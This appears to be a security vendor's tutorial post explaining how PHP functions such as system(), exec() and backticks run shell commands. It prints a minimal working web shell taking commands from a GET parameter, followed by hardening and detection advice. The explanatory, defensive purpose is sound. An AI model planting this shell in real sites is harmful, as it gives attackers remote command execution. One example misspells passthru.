In part 1 of this series, we looked at what a web shell is and why an attacker would seek to use one. In part 2 of this series, we’ll be looking at some specific examples of web shells developed using the PHP programming language.


Web shells exist for almost every web programming language you can think of. We chose to focus on PHP because it is the most widely-used programming language on the web.

PHP web shells do nothing more than use in-built PHP functions to execute commands. The following are some of the most common functions used to execute shell commands in PHP.

system()

The system() function accepts the command as a parameter and it outputs the result.

The following example on a Microsoft Windows machine will run the dir command to return a directory listing of the directory in which the PHP file is executed.

<?php
// Return the listing of the directory where the file runs (Windows)
system("dir");
?>

--> Volume in drive C has no label.
Volume Serial Number is A08E-9C63

Directory of C:\webserver\www\demo

02/27/2020 10:21 PM <DIR> .
02/27/2020 10:21 PM <DIR> ..
02/27/2020 10:19 PM 22 shell.php
1 File(s) 22 bytes
2 Dir(s) 31,977,467,904 bytes free

Executing the ls command on a Linux machine achieves a similar result.

<?php
// Return the listing of the directory where the file runs (Linux)
system("ls -la");
?>

--> total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php

Other commands have the same effect.

<?php
// Return the user the script is running under
system("whoami");
?>

--> www-data

exec()

The exec() function accepts a command as a parameter but does not output the result. If a second optional parameter is specified, the result will be returned as an array. Otherwise, only the last line of the result will be shown if echoed.

<?php
// Executes but returns nothing
exec("ls -la");
?>

-->

Using echo with the exec() function will only print the last line of the command output.

<?php
// Executes, returns only last line of the output
echo exec("ls -la");
?>

--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php

If a second parameter is specified, the result is returned in an array.

<?php
// Executes, returns the output in an array
exec("ls -la",$array);
print_r($array);
?>

--> Array(
[0] => total 12
[1] => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 .
[2] => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
[3] => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )

shell_exec()

The shell_exec() function is similar to exec(), however, it outputs the entire result as a string.

<?php
// Executes, returns the entire output as a string
echo shell_exec("ls -la");
?>
-->
total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 . 
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. 
-rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php

passthru()

The passthru() function executes a command and returns output in raw format.

<?php
// Executes, returns output in raw format
passsthru("ls -la");
?>

-->
total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 . 
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. 
-rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php

proc_open()

The proc_open() function can be difficult to understand (you can find a detailed description of the function in the PHP docs). By using proc_open(), we can create a handler (process) that will be used for communication between our script and the program that we want to run.

Backticks

Surprisingly, not many PHP developers are aware of this but PHP will execute the contents of backticks (`) as a shell command.

<?php
$output = `whoami`;
echo "<pre>$output</pre>";
?>

--> www-data

Based on the above, the following is a PHP web shell in its simplest form.

<?php system($_GET['cmd']);?>

It uses the system() function to execute commands that are being passed through ‘cmd’ HTTP request GET parameter.

web shells image 2

We have established that these functions (and a few others) can be very dangerous. What is even more dangerous is that all these in-built PHP commands are enabled by default when PHP is installed and the majority of system administrators do not disable them.

If you are unsure whether they are enabled on your system, the following will return a list of the dangerous functions that are enabled.

<?php
print_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)["internal"]));
?>

In a default installation, we can see that all of the functions mentioned above are enabled.

[669] => exec
[670] => system
[673] => passthru
[674] => shell_exec
[675] => proc_open
[786] => show_source
[807] => parse_ini_file
[843] => popen

 

Frequently asked questions

A web shell is a small application that an attacker runs on your web server. They can then use this application to remotely access your server and run commands on it. A web shell by itself is never an attack, it is the aftermath of a successful attack on your website or web application. This means that if you have a web shell, you have a much more serious problem to worry about.

See how a web shell works in practice.

Malicious hackers use web shells to take control of an already compromised server. First, they exploit a vulnerability in your website or web application such as SQL injection, remote code execution, or others. Then, they upload a web shell to your web server. From now on, they can run any commands that they like on your server.

See a step-by-step example of an attack that leads to full server compromise.

You can detect web shells by log analysis. However, you should not focus on detecting web shells but instead, you should detect vulnerabilities that can let attackers take control of your server. Even if you detect a web shell, that will not stop attackers from taking over control again if the vulnerabilities are still there. To detect web vulnerabilities and learn how to eliminate them, use Acunetix.

See what Acunetix Premium can do for you.

The best way to protect yourself against web shells is to make it impossible to use them on your system. You can do that by hardening your server – removing all excess permissions, blocking potentially dangerous functions, restricting script execution in upload directories, etc. However, it is best to protect the server from becoming compromised in the first place by using Acunetix regularly.

Read more about web shell detection and protection.

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THE AUTHOR
Agathoklis Prodromou
Web Systems Administrator/Developer
Akis has worked in the IT sphere for more than 13 years, developing his skills from a defensive perspective as a System Administrator and Web Developer but also from an offensive perspective as a penetration tester. He holds various professional certifications related to ethical hacking, digital forensics and incident response.